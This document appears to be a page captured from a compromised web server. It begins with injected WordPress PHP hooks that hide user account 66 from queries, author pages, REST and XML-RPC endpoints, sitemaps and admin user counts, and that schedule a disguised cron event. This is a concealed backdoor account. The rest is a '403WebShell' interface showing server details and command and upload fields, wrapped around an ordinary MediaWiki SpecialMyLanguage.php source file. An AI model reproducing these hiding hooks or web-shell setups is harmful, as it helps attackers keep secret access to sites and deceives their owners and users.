add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/specials/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/specials/SpecialMyLanguage.php
<?php
/**
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 */

namespace MediaWiki\Specials;

use MediaWiki\Languages\LanguageNameUtils;
use MediaWiki\Page\RedirectLookup;
use MediaWiki\SpecialPage\RedirectSpecialArticle;
use MediaWiki\Title\Title;

/**
 * Redirect to the appropriate translated version of a page if it exists.
 *
 * Usage: [[Special:MyLanguage/Page name|link text]]
 *
 * @since 1.24
 * @ingroup SpecialPage
 * @author Niklas Laxström
 * @author Siebrand Mazeland
 * @copyright Copyright © 2010-2013 Niklas Laxström, Siebrand Mazeland
 */
class SpecialMyLanguage extends RedirectSpecialArticle {

	private LanguageNameUtils $languageNameUtils;
	private RedirectLookup $redirectLookup;

	public function __construct(
		LanguageNameUtils $languageNameUtils,
		RedirectLookup $redirectLookup
	) {
		parent::__construct( 'MyLanguage' );
		$this->languageNameUtils = $languageNameUtils;
		$this->redirectLookup = $redirectLookup;
	}

	/**
	 * If the special page is a redirect, then get the Title object it redirects to.
	 * False otherwise.
	 *
	 * @param string|null $subpage
	 * @return Title
	 */
	public function getRedirect( $subpage ) {
		$title = $this->findTitle( $subpage );
		// Go to the main page if given invalid title.
		if ( !$title ) {
			$title = Title::newMainPage();
		}
		return $title;
	}

	/**
	 * Find a title.
	 *
	 * This may return the base page, e.g. if the UI and
	 * content language are the same.
	 *
	 * Examples, assuming the UI language is fi and the content language
	 * is en:
	 * - input Page: returns Page/fi if it exists, otherwise Page
	 * - input Page/de: returns Page/fi if it exists, otherwise Page/de
	 * if it exists, otherwise Page
	 *
	 * @param string|null $subpage
	 * @return Title|null
	 */
	public function findTitle( $subpage ) {
		return $this->findTitleInternal( $subpage, false );
	}

	/**
	 * Find a title for transclusion. This avoids returning the base
	 * page if a suitable alternative exists.
	 *
	 * Examples, assuming the UI language is fi and the content language
	 * is en:
	 * - input Page: returns Page/fi if it exists, otherwise Page/en if
	 * it exists, otherwise Page
	 * - input Page/de: returns Page/fi if it exists, otherwise Page/de
	 * if it exists, otherwise Page/en if it exists, otherwise Page
	 *
	 * @param string|null $subpage
	 * @return Title|null
	 */
	public function findTitleForTransclusion( $subpage ) {
		return $this->findTitleInternal( $subpage, true );
	}

	/**
	 * Find a title, depending on the content language and the user's
	 * interface language.
	 *
	 * @param string|null $subpage
	 * @param bool $forTransclusion
	 * @return Title|null
	 */
	private function findTitleInternal( $subpage, $forTransclusion ) {
		// base = title without the language code suffix
		// provided = the title as it was given
		$base = $provided = null;
		if ( $subpage !== null ) {
			$provided = Title::newFromText( $subpage );
			$base = $provided;

			if ( $provided && str_contains( $subpage, '/' ) ) {
				$pos = strrpos( $subpage, '/' );
				$basepage = substr( $subpage, 0, $pos );
				$code = substr( $subpage, $pos + 1 );
				if ( $code !== '' && $this->languageNameUtils->isKnownLanguageTag( $code ) ) {
					$base = Title::newFromText( $basepage );
				}
			}
		}

		if ( !$base || !$base->canExist() ) {
			// No subpage provided or base page does not exist
			return null;
		}

		$fragment = '';
		if ( $base->isRedirect() ) {
			$target = $this->redirectLookup->getRedirectTarget( $base );
			if ( $target !== null ) {
				$base = Title::newFromLinkTarget( $target );
				// Preserve the fragment from the redirect target
				$fragment = $base->getFragment();
			}
		}

		$uiLang = $this->getLanguage();
		$baseLang = $base->getPageLanguage();

		// T309329: Always use subpages for transclusion
		if ( !$forTransclusion && $baseLang->equals( $uiLang ) ) {
			// Short circuit when the current UI language is the
			// page's content language to avoid unnecessary page lookups.
			return $base;
		}

		// Check for a subpage in the current UI language
		$proposed = $base->getSubpage( $uiLang->getCode() );
		if ( $proposed && $proposed->exists() ) {
			if ( $fragment !== '' ) {
				$proposed->setFragment( $fragment );
			}
			return $proposed;
		}

		// Explicit language code given and the page exists
		if ( $provided !== $base && $provided->exists() ) {
			// Not based on the redirect target, don't need the fragment
			return $provided;
		}

		// Check for fallback languages specified by the UI language
		$possibilities = $uiLang->getFallbackLanguages();
		foreach ( $possibilities as $lang ) {
			// $base already include fragments
			// T309329: Always use subpages for transclusion
			// T333187: Do not ignore base language page if matched
			if ( !$forTransclusion && $lang === $baseLang->getCode() ) {
				return $base;
			}
			// Look for subpages if is for transclusion or didn't match base page language
			$proposed = $base->getSubpage( $lang );
			if ( $proposed && $proposed->exists() ) {
				if ( $fragment !== '' ) {
					$proposed->setFragment( $fragment );
				}
				return $proposed;
			}
		}

		// When all else has failed, return the base page
		return $base;
	}

	/**
	 * Target can identify a specific user's language preference.
	 *
	 * @see T109724
	 * @since 1.27
	 * @return bool
	 */
	public function personallyIdentifiableTarget() {
		return true;
	}
}

/**
 * Retain the old class name for backwards compatibility.
 * @deprecated since 1.41
 */
class_alias( SpecialMyLanguage::class, 'SpecialMyLanguage' );

Youez - 2016 - github.com/yon3zu
LinuXploit